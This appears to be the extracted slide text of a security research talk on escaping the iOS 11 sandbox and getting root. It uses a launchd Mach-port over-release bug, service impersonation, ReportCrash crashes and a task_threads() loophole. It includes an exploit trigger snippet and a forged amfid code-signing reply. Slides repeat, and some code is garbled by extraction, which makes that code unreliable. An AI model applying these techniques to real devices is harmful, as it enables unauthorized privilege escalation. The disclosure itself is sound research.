Crashing to root: How to escape the iOS sandbox using abort()
Who am I?

- Independent security researcher
- Focus on macOS/iOS
- Stanford University: B.S. in 2016, M.S. in 2017
- Original Pegasus kernel code execution vulnerability
- Open-source tools: memctl, ida_kernelcache
About this research project

- Focus: Crash reporting on iOS
- Target: iOS 11.2.6
- Goal:
  - Find a 0-day
  - Escape the sandbox
  - Get root
- Why: How could you possibly attack by crashing?!
Security
codesign -dvvv iOS/blanket.app
Identifier=com.brandonazad.blanket
CodeDirectory v=20400 size=1339 flags=0x0(none) hashes=33+5
Hash choices=sha1,sha256
CDHash=bdeb8ff98a8937455f43635592d1eb4b5eb12bf4
Authority=iPhone Developer: Brandon Azad (R354GP4PEP)
Authority=Apple Worldwide Developer Relations Certification
Authority=Apple Root CA
Signed Time=Aug 3, 2018 at 14:35:03
Info.plist entries=26
TeamIdentifier=DEEG7TTSF2
Sealed Resources version=2 rules=13 files=273
Internal requirements count=1 size=184
codesign -dvvv iOS/blanket.app
Identifier=com.brandonazad.blanket
CodeDirectory v=20400 size=1339 flags=0x0(none) hashes=33+5
Hash choices=sha1,sha256
CDHash=bdeb8ff98a8937455f43635592d1eb4b5eb12bf4
Authority=iPhone Developer: Brandon Azad (R354GP4PEP)
Authority=Apple Worldwide Developer Relations Certification
Authority=Apple Root CA
Signed Time=Aug 3, 2018 at 14:35:03
Info.plist entries=26
TeamIdentifier=DEEG7TTSF2
Sealed Resources version=2 rules=13 files=273
Internal requirements count=1 size=184
Entitlements

```bash
bazad@bazad0 ~ % codesign -d --entitlements -iOS/bin/ps

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>com.apple.system-task-ports</key>
    <true/>
    <key>task_for_pid-allow</key>
    <true/>
  </dict>
</plist>
```
Entitlements

```bash
bazad@bazad0 ~ % codesign -d --entitlements - iOS/bin/ps

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.system-task-ports</key>
    <true/>
    <key>task_for_pid-allow</key>
    <true/>
</dict>
</plist>
```
Sandboxing

(version 1)
(deny default)
(allow file-read*
  (regex "^/private/var/containers/Data/System/[\^/]+/"))
(allow iokit-open
  (iokit-user-client-class "IOMobileFramebufferUserClient")
  (iokit-user-client-class "IOHIDLibUserClient"))
(allow mach-lookup
  (global-name "com.apple.ReportCrash")
  (global-name "com.apple.CARenderServer")
  (global-name "com.apple.DragUI.druid.source"))
version 1

deny default

allow file-read*
   (regex #"^/private/var/containers/Data/System/[^/]+/"

allow iokit-open
   (iokit-user-client-class "IOMobileFramebufferUserClient")
   (iokit-user-client-class "IOHIDLibUserClient")

allow mach-lookup
   (global-name "com.apple.ReportCrash")
   (global-name "com.apple.CARenderServer")
   (global-name "com.apple.DragUI.druid.source")
Sandboxing

```scheme
(version 1)
(deny default)
(allow file-read*
  (regex #"^/private/var/containers/Data/System/[\^/]+/"))
(allow iokit-open
  (iokit-user-client-class "IOMobileFramebufferUserClient")
  (iokit-user-client-class "IOHIDLibUserClient"))
(allow mach-lookups
  (global-name "com.apple.ReportCrash")
  (global-name "com.apple.CARenderServer")
  (global-name "com.apple.DragUI.druid.source"))
```
Sandboxing

```json
(version 1)
(deny default)
(allow file-read*
  (regex "^/private/var/containers/Data/System/[^/]+/"))
(allow iokit-open
  (iokit-user-client-class "IOMobileFramebufferUserClient")
  (iokit-user-client-class "IOHIDLibUserClient")
(allow mach-lookup
  (global-name "com.apple.ReportCrash")
  (global-name "com.apple.CARenderServer")
  (global-name "com.apple.DragUI.druid.source")
```
Interprocess Communication
Mach ports

- Reference-counted message queues
  - Arbitrarily many senders
  - Only one receiver
- In userspace, referenced by Mach port names
  - Integers, like file descriptors
- Send right: ability to send messages
- Receive right: ability to receive messages
Mach messages

- Structured data sent to a Mach port
- Queued in the kernel until the owner listens for a message
- Can contain:
  - Arbitrary data
  - Send/receive rights for Mach ports
Task and thread ports

- Special types of Mach ports
  - Receive right is owned by the kernel
- Task port can be used to control a task
  - `mach_vm_allocate(task_port, ...)` allocates virtual memory in the task
- Thread port controls an individual thread
  - `thread_set_state(thread_port, ...)` sets register values for the thread
Daemons on iOS are Mach services
- Communicate by sending Mach messages
- Identified by a name
  - com.apple.CARenderServer
Launchd (PID 1) vends all Mach services
- Client asks launchd to talk to a service
- Launchd replies with a send right to the service port
Roadmap

- Focus: Crash reporting on iOS

- Goal:
  - Find a 0-day
  - Escape the sandbox
  - Get root
Crash handling
Mach exceptions

- Generalization of BSD signals

- Many exception conditions:
  - EXC_BAD_ACCESS: invalid memory access
  - EXC_CRASH: abnormal program termination

- Can register a Mach port to be notified on exceptions

  - For a thread, for a task, or for the host

- Kernel sends Mach message to registered exception port with details
Exception handling service routine

```c
kern_return_t catch_mach_exception_raise(
    mach_port_t exception_port,
    mach_port_t thread,
    mach_port_t task,
    exception_type_t exception,
    mach_exception_data_t code);
```

- Exception message contains crashing thread and task ports
- Called by autogenerated MIG code
  - KERN_SUCCESS: exception was handled, kernel resumes process
  - KERN_FAILURE: MIG deallocates ports, kernel tries next handler
Example: accessing an invalid address
Example: accessing an invalid address

Kernel

EXC_BAD_ACCESS
EXC_CRASH

User

EXCEPTION PORT

Crash Handler

blanket

EXCEPTION PORT
Example: accessing an invalid address

EXC_BAD_ACCESS
EXC_CRASH
Example: accessing an invalid address
Example: accessing an invalid address

EXC_BAD_ACCESS
EXC_CRASH
Example: accessing an invalid address

- Blanket
- Crash Handler
- EXC_BAD_ACCESS
- EXC_CRASH
Example: accessing an invalid address

User

Kernel

EXC_BAD_ACCESS
EXC_CRASH

thread

EXC_BAD_ACCESS

Crash Handler

task

exception

EXC_BAD_ACCESS

exception port

B blanket
Example: accessing an invalid address

EXC_BAD_ACCESS
EXC_CRASH
ReportCrash

- 1 binary, 2 Mach services in separate processes
  - com.apple.ReportCrash
    - Host-level EXC_CRASH exception handler
    - Generates crash logs for dying apps
    - Task-level EXC_CRASH exception handler for ReportCrash
    - Avoids ReportCrash having to handle its own exceptions
ReportCrash's privileges

bash-3.2# launchctl kickstart -p system/com.apple.ReportCrash
275
ReportCrash's privileges

bash-3.2# launchctl kickstart -p system/com.apple.ReportCrash
275

bash-3.2# ps -p 275 -o user,pid,ppid,command
USER   PID  PPID COMMAND
root  275     1 /System/Library/CoreServices/ReportCrash
ReportCrash's privileges

bash-3.2# launchctl kickstart -p system/com.apple.ReportCrash
275

bash-3.2# ps -p 275 -o user,pid,ppid,command
USER   PID  PPID COMMAND
root   275     1 /System/Library/CoreServices/ReportCrash

bash-3.2# is_sandboxed 275
ReportCrash[275]: unsandboxed
bash-3.2# launchctl kickstart -p system/com.apple.ReportCrash 275

bash-3.2# ps -p 275 -o user,pid,ppid,command
USER   PID  PPID COMMAND
root    275     1 /System/Library/CoreServices/ReportCrash

bash-3.2# is_sandboxed 275
ReportCrash[275]: unsandboxed

bash-3.2# jtool --ent ReportCrash | grep -A 1 task_for_pid
<key>task_for_pid-allow</key>
<true/>
The vulnerability
ReportCrash exception handler

```c
kern_return_t catch_mach_exception_raise_state_identity(
    mach_port_t exception_port,
    mach_port_t thread,
    mach_port_t task,
    exception_type_t exception,
    /* ... */)
{
    kern_return_t kr;
    /* ... */
    if ( exception != EXC_CRASH )
    {
        /* ... handle exception ... */
    }
    else
    {
        kr = KERN_FAILURE;
    }
    mach_port_deallocate(mach_task_self(), thread);
    mach_port_deallocate(mach_task_self(), task);
    return kr;
}
```
ReportCrash exception handler

```c
kern_return_t catch_mach_exception_raise_state_identity(
    mach_port_t exception_port,
    mach_port_t thread,
    mach_port_t task,
    /* ... */)
{
    kern_return_t kr;
    /* ... */
    if ( exception != EXC_CRASH )
    {
        /* ... handle exception ... */
    }
    else
    {
        kr = KERN_FAILURE;
    }
    mach_port_deallocate(mach_task_self(), thread);
    mach_port_deallocate(mach_task_self(), task);
    return kr;
}
```
ReportCrash exception handler

```c
kern_return_t catch_mach_exception_raise_state_identity(
    mach_port_t exception_port,
    mach_port_t thread,
    mach_port_t task,
    exception_type_t exception,
    /* ... */)
{
    kern_return_t kr;
    /* ... */
    if (exception != EXC_CRASH)
    {
        /* ... handle exception ... */
    }
    else
    {
        kr = KERN_FAILURE;
    }
    mach_port_deallocate(mach_task_self(), thread);
    mach_port_deallocate(mach_task_self(), task);
    return kr;
}
```
Report Crash exception handler

```c
kern_return_t catch_mach_exception_raise_state_identity(
    mach_port_t exception_port,
    mach_port_t thread,
    mach_port_t task,
    exception_type_t exception,
    /* ... */)
{
    kern_return_t kr;
    /* ... */
    if ( exception != EXC_CRASH )
    {
        /* ... handle exception ... */
    }
    else
    {
        kr = KERN_FAILURE;
    }
    mach_port_deallocate(mach_task_self(), thread);
    mach_port_deallocate(mach_task_self(), task);
    return kr;
}
```
Report Crash exception handler

```c
kern_return_t catch_mach_exception_raise_state_identity(
    mach_port_t exception_port,
    mach_port_t thread,
    mach_port_t task,
    /* ... */
exception_type_t exception,
    /* ... */)
{
    kern_return_t kr;
    /* ... */
    if (exception != EXC_CRASH)
    {
        /* ... handle exception ... */
    }
    else
    {
        kr = KERN_FAILURE;
    }
    mach_port_deallocate(mach_task_self(), thread);
    mach_port_deallocate(mach_task_self(), task);
    return kr;
}
```
Report Crash service impersonation

- Blanket
- Report Crash
- Service

0x903
0x1103
Report Crash service impersonation

- **Blanket** (0x903)
- **Report Crash** (0x1103)
- **Service**

**Thread**
- 0x903

**Task**

**Exception**
- EXC_CRASH
Report Crash service impersonation

blanket

Report Crash

service

thread

0x903

0x1103

task

exception

EXC_CRASH
ReportCrash service impersonation

- Blanket
- Report Crash
- Service

- Thread: 0x903
- Task: 0x1103
- Exception: EXC_CRASH
ReportCrash service impersonation

blanket

Report Crash

service

port1

port2

...
Report Crash service impersonation

- Blanket
- Report Crash
- Service

Ports:
- port1
- port2
- ...

Addresses:
- 0x903
- 0x1103
Report Crash service impersonation

- Blanket (0x903)
- Report Crash
  - Port 1 (0x1103)
  - Port 2 (0x1203)
- Service

Ports:
- port1
- port2
- ...
ReportCrash service impersonation

- Blanket
- Report Crash
- Service

0x903
0x1103
How exploitable is it?

```bash
bash-3.2# lsmp -v -p 275

<table>
<thead>
<tr>
<th>name</th>
<th>ipc-object</th>
<th>rights</th>
<th>type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000707 0x0efaf09d</td>
<td>send</td>
<td>(1) launchd</td>
<td></td>
</tr>
<tr>
<td>0x00000803 0x0e648d7d</td>
<td>send</td>
<td>CLOCK</td>
<td></td>
</tr>
<tr>
<td>0x00000a03 0x0e648645</td>
<td>send</td>
<td>HOST</td>
<td></td>
</tr>
<tr>
<td>0x00000b03 0x0f4e9e8d</td>
<td>send</td>
<td>(45) logd</td>
<td></td>
</tr>
<tr>
<td>0x00000d07 0x0f524645</td>
<td>send</td>
<td>(82) notifyd</td>
<td></td>
</tr>
<tr>
<td>0x00001203 0x0e6486ed</td>
<td>send</td>
<td>HOST-PRIV</td>
<td></td>
</tr>
<tr>
<td>0x00001d07 0x0efae8bd</td>
<td>send</td>
<td>(89) lsd</td>
<td></td>
</tr>
<tr>
<td>0x00002a03 0x0f4d1215</td>
<td>send</td>
<td>(208) coresymbolicationd</td>
<td></td>
</tr>
<tr>
<td>0x00005017 0x0efb1e8d</td>
<td>send</td>
<td>(89) lsd</td>
<td></td>
</tr>
<tr>
<td>0x00005303 0x0f4eac05</td>
<td>send</td>
<td>(233) aggregated</td>
<td></td>
</tr>
</tbody>
</table>
```
**How exploitable is it?**

```
bash-3.2# lsmp -v -p 275

<table>
<thead>
<tr>
<th>name</th>
<th>ipc-object</th>
<th>rights</th>
<th>type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000707 0x0efaf09d</td>
<td>send</td>
<td>(1)</td>
<td>launchd</td>
</tr>
<tr>
<td>0x00000803 0x0e648d7d</td>
<td>send</td>
<td>CLOCK</td>
<td></td>
</tr>
<tr>
<td>0x00000a03 0x0e648645</td>
<td>send</td>
<td>HOST</td>
<td></td>
</tr>
<tr>
<td>0x00000b03 0x0f4e9e8d</td>
<td>send</td>
<td>(45)</td>
<td>logd</td>
</tr>
<tr>
<td>0x00000d07 0x0f524645</td>
<td>send</td>
<td>(82)</td>
<td>notifyd</td>
</tr>
<tr>
<td>0x00001203 0x0e6486ed</td>
<td>send</td>
<td>HOST-PRIV</td>
<td></td>
</tr>
<tr>
<td>0x00001d07 0x0efae8bd</td>
<td>send</td>
<td>(89)</td>
<td>lsd</td>
</tr>
<tr>
<td>0x00002a03 0x0f4d1215</td>
<td>send</td>
<td>(208)</td>
<td>coresymbolicationd</td>
</tr>
<tr>
<td>0x00005017 0x0efb1e8d</td>
<td>send</td>
<td>(89)</td>
<td>lsd</td>
</tr>
<tr>
<td>0x00005303 0x0f4eac05</td>
<td>send</td>
<td>(233)</td>
<td>aggregated</td>
</tr>
</tbody>
</table>
```

No useful ports
End of talk

Thank you!
Launchd: a hidden exception handler

- Launchd also implements a Mach exception handler!
- With the same bug!
  - Copy/paste?
- Send EXC_CRASH exception message to launchd
  - Launchd over-deallocates the thread and task ports
kern_return_t catch_mach_exception_raise(
    mach_port_t exception_port,
    mach_port_t thread,
    mach_port_t task,
    exception_type_t exception,
    /* ... */)
{
    /* ... */
    if ( current_audit_token.val[5] != 0 )
    {
        return KERN_FAILURE;
    }
    else
    {
        /* ... */
        deallocate_port(thread);
        /* ... */
        deallocate_port(task);
        /* ... */
        if ( exception == EXC_CRASH )
            return KERN_FAILURE;
        else
            return KERN_SUCCESS;
    }
}
catch_mach_exception_raise(
    exception_port,
    mach_port_t thread,
    mach_port_t task,
    exception_type_t exception,
)
{
    /* ... */
    if ( current_audit_token.val[5] != 0 )
    {
        return KERN_FAILURE;
    }
    else
    {
        /* ... */
        deallocate_port(thread);
        /* ... */
        deallocate_port(task);
        /* ... */
        if ( exception == EXC_CRASH )
            return KERN_FAILURE;
        else
            return KERN_SUCCESS;
    }
}
kern_return_t catch_mach_exception_raise(
    mach_port_t exception_port,
    mach_port_t thread,
    mach_port_t task,
    exception_type_t exception,
    /* ... */)
{
    /* ... */
    if (current_audit_token.val[5] != 0)
    {
        return KERN_FAILURE;
    }

    /* ... */
    deallocate_port(thread);
    /* ... */
    deallocate_port(task);
    /* ... */
    if (exception == EXC_CRASH)
        return KERN_FAILURE;
    else
        return KERN_SUCCESS;
}
kern_return_t catch_mach_exception_raise(
    mach_port_t exception_port,
    mach_port_t thread,
    mach_port_t task,
    exception_type_t exception,
    /* ... */)
{
    /* ... */
    if (current_audit_token.val[5] != 0)
    {
        return KERN_FAILURE;
    }
    else
    {
        /* ... */
        deallocate_port(thread);
        /* ... */
        deallocate_port(task);
        /* ... */
        if (exception == EXC_CRASH)
            return KERN_FAILURE;
        else
            return KERN_SUCCESS;
    }
}
kern_return_t catch_mach_exception_raise(
    mach_port_t exception_port,
    mach_port_t thread,
    mach_port_t task,
    exception_type_t exception,
    /* ... */
)
{
    /* ... */
    if ( current_audit_token.val[5] ≠ 0 )
    {
        return KERN_FAILURE;
    }
    else
    {
        /* ... */
        deallocate_port(thread);
        /* ... */
        deallocate_port(task);
        /* ... */
        if ( exception == EXC_CRASH )
            return KERN_FAILURE;
        else
            return KERN_SUCCESS;
    }
}

// (a) The service routine is called with values directly from the Mach message sent by the client. The thread and task ports could be arbitrary send rights.
// (b) If the message was sent by a process with a nonzero PID (any non-kernel process), the message is rejected.
// (c) The "thread" port sent in the message is deallocated.
// (d) The "task" port sent in the message is deallocated.
// (e) If the exception type is EXC_CRASH, then KERN_FAILURE is returned. MIG will deallocate the ports again.
Launchd is more promising

- Launchd manages Mach ports for the system
  - Many more targets for port replacement
- Mach service impersonation attack
  - Launchd thinks we own the service
  - Launchd tells other processes that we own the service!
Triggering the vulnerability
- Launchd checks the exception message was sent by the kernel
  - Kernel will only send an exception message when a process crashes
- Crashing directly will not work
  - The thread and task ports must be the service port we want launchd to free
- Can we make the kernel send a malicious exception message?

```c
if ( current_audit_token.val[5] != 0 ) {
    return KERN_FAILURE;
}
```
Faking our task and thread ports

- `task_set_special_port()` sets a custom send right to use instead of the true `task port` in some situations
  - Including when the kernel generates an exception message

- `thread_set_special_port()` does the same for threads
Making the kernel send a malicious exception

```c
bootstrap_look_up(bootstrap_port, "com.apple.target-service",
    &target_service_port);

thread_set_exception_ports(mach_thread_self(),
    EXC_MASK_CRASH,
    bootstrap_port,
    EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES,
    ARM_THREAD_STATE64);

task_set_special_port(mach_task_self(), TASK_KERNEL_PORT,
    target_service_port);
thread_set_special_port(mach_task_self(), THREAD_KERNEL_PORT,
    target_service_port);
abort();
```
Making the kernel send a malicious exception

```c
bootstrap_look_up(bootstrap_port, "com.apple.target-service",
    &target_service_port);

thread_set_exception_ports(mach_thread_self(),
    EXC_MASK_CRASH,
    bootstrap_port,
    EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES,
    ARM_THREAD_STATE64);

task_set_special_port(mach_task_self(), TASK_KERNEL_PORT,
    target_service_port);
thread_set_special_port(mach_task_self(), THREAD_KERNEL_PORT,
    target_service_port);

abort();
```
Making the kernel send a malicious exception

```
bootstrap_look_up(bootstrap_port, "com.apple.target-service", &target_service_port);

thread_set_exception_ports(mach_thread_self(),
    EXC_MASK_CRASH,
    bootstrap_port,
    EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES,
    ARM_THREAD_STATE64);

task_set_special_port(mach_task_self(), TASK_KERNEL_PORT, target_service_port);
thread_set_special_port(mach_task_self(), THREAD_KERNEL_PORT, target_service_port);
abort();
```
Making the kernel send a malicious exception

```c
bootstrap_look_up(bootstrap_port, "com.apple.target-service",
    &target_service_port);

thread_set_exception_ports(mach_thread_self(),
    EXC_MASK_CRASH,
    bootstrap_port,
    EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES,
    ARM_THREAD_STATE64);

task_set_special_port(mach_task_self(), TASK_KERNEL_PORT,
    target_service_port);
thread_set_special_port(mach_task_self(), THREAD_KERNEL_PORT,
    target_service_port);
abort();
```
Making the kernel send a malicious exception

```c
bootstrap_look_up(bootstrap_port, "com.apple.target-service",
                 &target_service_port);

thread_set_exception_ports(mach_thread_self(),
                           EXC_MASK_CRASH,
                           bootstrap_port,
                           EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES,
                           ARM_THREAD_STATE64);

task_set_special_port(mach_task_self(), TASK_KERNEL_PORT,
                      target_service_port);
thread_set_special_port(mach_task_self(), THREAD_KERNEL_PORT,
                       target_service_port);

abort();
```
Running after abort()

- abort() will crash our process
  - Need to run more code
- fork(), posix_spawn() disallowed in sandbox
- App Extensions allow us to launch our own binary
Progress so far

- Found a 0-day in launchd
- Trigger the vulnerability by crashing maliciously
- Exploit primitive to free Mach ports in launchd
- Want to impersonate a system service
- Need to figure out how to elevate privileges
Impersonating system services
Launchd service impersonation

1. Use the app extension to free launchd's send right to service A.B.C
2. Generate ~500 Mach ports
3. Repeatedly register dummy services until A.B.C's port name is reused
4. Check by asking launchd for A.B.C's port
5. New processes that want to talk to A.B.C will instead be talking to us
A first attempt:
Getting host-priv
Choosing a service to impersonate

- Goal: execute code in an unsandboxed root process

- mach_portal strategy:
  - Find a service to which an unsandboxed root client sends its task port
  - Impersonate that service
  - Start the client, receive its task port

- iOS 11: no unsandboxed root processes send their task port to a Mach service
Abusing exceptions

- Exception messages contain task ports
- ReportCrash is unsandboxed and root
- Why not impersonate SafetyNet and then crash ReportCrash?
- ReportCrash sets SafetyNet as its exception handler on launch

- Impersonate SafetyNet first
  - ReportCrash will set us as its exception handler

- Force ReportCrash to generate an exception
  - Send a malformed message

- Kernel will send us ReportCrash's task port in an exception message!
Problem: ReportCrash is crashing

- ReportCrash sets SafetyNet up as the exception handler for EXC_CRASH
  - Not recoverable: ReportCrash is already in process exit!
- No way to use task port to execute code
### Workaround: extract host-priv

```bash
bash-3.2# lsmp -v -p 275

<table>
<thead>
<tr>
<th>name</th>
<th>ipc-object</th>
<th>rights</th>
<th>type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000707</td>
<td>0x0efaf09d</td>
<td>send</td>
<td>(1) launchd</td>
</tr>
<tr>
<td>0x00000803</td>
<td>0x0e648d7d</td>
<td>send</td>
<td>CLOCK</td>
</tr>
<tr>
<td>0x00000a03</td>
<td>0x0e648645</td>
<td>send</td>
<td>HOST</td>
</tr>
<tr>
<td>0x00000b03</td>
<td>0x0f4e9e8d</td>
<td>send</td>
<td>(45) logd</td>
</tr>
<tr>
<td>0x00000d07</td>
<td>0x0f524645</td>
<td>send</td>
<td>(82) notifyd</td>
</tr>
<tr>
<td>0x00001203</td>
<td>0x0e6486ed</td>
<td>send</td>
<td><strong>HOST-PRIV</strong></td>
</tr>
<tr>
<td>0x00001d07</td>
<td>0xefae8bd</td>
<td>send</td>
<td>(89) lsd</td>
</tr>
<tr>
<td>0x00002a03</td>
<td>0xf4d1215</td>
<td>send</td>
<td>(208) coresymbolicationd</td>
</tr>
<tr>
<td>0x00005017</td>
<td>0xefb1e8d</td>
<td>send</td>
<td>(89) lsd</td>
</tr>
<tr>
<td>0x00005303</td>
<td>0xf4eac05</td>
<td>send</td>
<td>(233) aggregated</td>
</tr>
</tbody>
</table>
```
Workaround: extract host-priv

```
bash-3.2# lsmpp -v -p 275

<table>
<thead>
<tr>
<th>name</th>
<th>ipc-object</th>
<th>rights</th>
<th>type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000707</td>
<td>0x0efaf09d</td>
<td>send</td>
<td>(1) launchd</td>
</tr>
<tr>
<td>0x00000803</td>
<td>0x0e648d7d</td>
<td>send</td>
<td>CLOCK</td>
</tr>
<tr>
<td>0x00000a03</td>
<td>0x0e648645</td>
<td>send</td>
<td>HOST</td>
</tr>
<tr>
<td>0x00000b03</td>
<td>0x0f4e9e8d</td>
<td>send</td>
<td>(45) logd</td>
</tr>
<tr>
<td>0x00000d07</td>
<td>0x0f524645</td>
<td>send</td>
<td>(82) notifyd</td>
</tr>
<tr>
<td>0x00001203</td>
<td>0x0f4eac05</td>
<td>send</td>
<td>(233) aggregated</td>
</tr>
<tr>
<td>0x00001d07</td>
<td>0x0efae8bd</td>
<td>send</td>
<td>(89) lsd</td>
</tr>
<tr>
<td>0x00002a03</td>
<td>0x0f4d1215</td>
<td>send</td>
<td>(208) coresymbolicationd</td>
</tr>
</tbody>
</table>

host_set_exception_ports(host_priv, ...)
New strategy: set a host exception handler

1. Impersonate SafetyNet, crash ReportCrash

2. Receive the exception message with ReportCrash's task port, extract the host-priv port

3. Use `host_set_exception_ports()` to register a new host-level exception handler for `EXC_BAD_ACCESS`

4. Trigger a bad memory access in ReportCrash, receive another exception message with ReportCrash's task port

5. Fix ReportCrash, use the task port to execute arbitrary code
Problem: sandbox restrictions

- Extracting host-priv from ReportCrash works!
- Calling `host_set_exception_ports()` fails
  - Forbidden in the app sandbox
- We need to escape the sandbox
Progress so far

- Obtained the host-priv port using service impersonation
- Want to call host_set_exception_ports()
- Need to escape the sandbox first
Escaping the sandbox
Finding the right service

- mach_portal strategy:
  - Impersonate a service to which an unsandboxed client sends its task port
  - Do not need root, just unsandboxed
- Brute-force search: druid (Drag UI) daemon
  - Sends its task port to com.apple.CARenderServer
  - Druid is unsandboxed
- Impersonate CARenderServer, launch druid => unsandboxed task port
Problem: new task port restrictions

```c
/*
 * Routine:        convert_port_to_task
 * Purpose:
 *     Convert from a port to a task.
 *     Doesn't consume the port ref; produces a task ref, which may be null.
 * Conditions:
 *     Nothing locked.
 */

task_t convert_port_to_task(ipc_port_t port)
{
    return convert_port_to_task_with_exec_token(port, NULL);
}
```
Problem: new task port restrictions

```c
/*
 *      Routine:        convert_port_to_task
 *      Purpose:
 *              Convert from a port to a task.
 *              Doesn't consume the port ref; produces a task ref,
 *              which may be null.
 *      Conditions:
 *              Nothing locked.
 */
task_t convert_port_to_task(ipc_port_t port) {
    return convert_port_to_task_with_exec_token(port, NULL);
}

// Function definition
```
Problem: new task port restrictions

```
/*
 * Routine:        convert_port_to_task
 * Purpose:
 *               Convert from a port to a task.
 *               Doesn't consume the port ref; produces a task ref,
 *               which may be null.
 * Conditions:
 *               Nothing locked.
 */

task_t
convert_port_to_task(
    ipc_port_t
port)
{
    return
    convert_port_to_task_with_exec_token(port,
        NULL);
}

task_t
convert_port_to_task_with_exec_token(
    ipc_port_t
port,
    uint32_t
*exec_token)
{
    task_t
    task = TASK_NULL;
    if (IP_VALID(port)) {
        ip_lock(port);
        if (ip_active(port) && ip_kotype(port) xu
            IKOT_TASK) {
            task_t
            ct = current_task();
            task = (task_t)port{>ip_kobject;
            assert(task tu
                TASK_NULL);
            if (task_conversion_eval(ct, task)) {
                ip_unlock(port);
                return
                TASK_NULL;
            }
            if (exec_token) {
                *exec_token = task{>exec_token;
            }
            task_reference_internal(task);
        }
        ip_unlock(port);
    }
    return
    (task);
}
```

```c
kern_return_t
task_conversion_eval(task_t caller, task_t victim)
{
    #if CONFIG_EMBEDDED
        /*
        * On embedded platforms, only a platform binary can
        * resolve the task port of another platform binary.
        */
        if ( (victim{>t_flags & TF_PLATFORM) &&
            !(caller{>t_flags & TF_PLATFORM) ) ) {
            return KERN_INVALID_SECURITY;
        }
    #endif
    /* CONFIG_EMBEDDED */
    return KERN_SUCCESS;
```
Problem: new task port restrictions

```c
/*
*      Routine:        convert_port_to_task
*      Purpose:        Convert from a port to a task. Doesn't consume the port ref; produces a task ref,
*                        which may be null.
*      Conditions:     Nothing locked.
*/
task_t
convert_port_to_task(
    ipc_port_t
port)
{
    return
    convert_port_to_task_with_exec_token(port,
        NULL
        );
}
```

```c
/* On embedded platforms, only a platform binary can
* resolve the task port of another platform binary. */
task_t
convert_port_to_task_with_exec_token(
    ipc_port_t
port,
    uint32_t
*exec_token)
{
    task_t
    task = TASK_NULL;
    if (IP_VALID(port)) {
        ip_lock(port);
        if (ip_active(port) && ip_kotype(port) xu
            IKOT_TASK
            ) {
            task_t
c = current_task();
            task = (task_t)port{>ip_kobject;
            assert(task tu
                TASK_NULL
                );
            if (task_conversion_eval(ct, task)) {
                ip_unlock(port);
                return
                TASK_NULL
                ;
            }
            if (exec_token) {
                *exec_token = task{>exec_token;
            }
            task_reference_internal(task);
        };
        ip_unlock(port);
    }
    return
    (task);
}
```

```c
kern_return_t
task_conversion_eval(
    task_t
caller,
    task_t
victim)
{
    #if CONFIG_EMBEDDED
    /* On embedded platforms, only a platform binary can
    * resolve the task port of another platform binary. */
    #endif
    return
    KERN_SUCCESS
    ;
}
```

```c
/* On embedded platforms, only a platform binary can
* resolve the task port of another platform binary. */
```
Loophole: `task_threads()`

```c
/*
 *     Returns the set of threads belonging to the target task.
 */
routine task_threads(
    target_task     : task_inspect_t;
    out act_list    : thread_act_array_t);
```

- Takes an inspect right to a task
- Task inspect rights are not subject to the mitigation
- Returns control rights for the task's threads
- No restriction on controlling the threads of a platform binary
1. Use the vulnerability to impersonate CARenderServer

2. Trigger druid to start

3. Druid will send us its task port (intended for CARenderServer)

4. Use druid's task port to execute arbitrary code outside the sandbox
The complete exploit
Putting it all together

1. Impersonate SafetyNet, crash ReportCrash, extract the host-priv port
2. Impersonate CARenderServer, force druid to start, get druid's task port
3. Use druid and host-priv to register ourselves as the EXC_BAD_ACCESS handler
4. Trigger a bad memory access in ReportCrash, receive ReportCrash's task port
5. Use ReportCrash's task port to execute arbitrary code
   - We are now unsandboxed, root, and task_for_pid ;)


Exploit walkthrough
launchd

SafetyNet

CARender Server

Report Crash

druid

blanket
launchd

SafetyNet

CRender Server

druid

blanket

crasher

Report Crash
And that is how you root an iPhone by crashing
Demo
Takeaways
What we've achieved

- ReportCrash has task_for_pid-allow
  - We can control any process on the phone
  - Highest level of privilege without a kernel exploit
- Full userspace control without having to attack the kernel!
  - No need to defeat kernel exploit mitigations
    - Pointer authentication on iPhone XS
Unconventional attack surfaces

- Traditional attack surfaces have been hardened
  - Unconventional attack surfaces more attractive
- Many areas of the OS have not received adequate security auditing
Incomplete task port mitigations

- `task_threads()` renders Apple's platform binary task port mitigation ineffective
- Always worth checking for loopholes
Alternative to `processor_set_tasks()`

- `host_set_exception_ports()` allows us to get the task port of a more privileged process

- Unsandboxed execution, an Apple signature, host-priv, and the ability to crash a `task_for_pid-allow` process are equivalent to `task_for_pid-allow`
One more thing...

- Since iOS 10, amfid bypassed by patching MISValidateSignatureAndCopyInfo()

- New approach: steal the amfid kernel port, implement verify_code_directory(), then force amfid to send the reply

  - Kernel still thinks amfid performed the validation

- Avoids the data patch

- Gives access to some interesting flags
kern_return_t verify_code_directory(
    mach_port_t amfid_port,
    amfid_path_t path,
    uint64_t file_offset,
    int32_t a4,
    int32_t a5,
    int32_t a6,
    int32_t * entitlements_valid,
    int32_t * signature_valid,
    int32_t * unrestrict,
    int32_t * signer_type,
    int32_t * is_apple,
    int32_t * is_developer_code,
    amfid_a13_t a13,
    amfid_cdhash_t cdhash,
    audit_token_t audit)
{
    // Compute the cdhash of the binary for the kernel.
    if (!compute_cdhash_of_file(path, file_offset, cdhash)) {
        return KERN_FAILURE;
    }
    // Grant all the permissions.
    *entitlements_valid = 1; // CS_ENTITLEMENTS_VALIDATED | CS_KILL
    *signature_valid = 1; // Claim that signature is valid.
    *unrestrict = 1; // ~CS_RESTRICT
    *signer_type = 0; // Set the correct signer type.
    *is_apple = 1; // CS_PLATFORM_BINARY
    *is_developer_code = 0; // ~CS_DEV_CODE
    return KERN_SUCCESS;
}
Thank you!

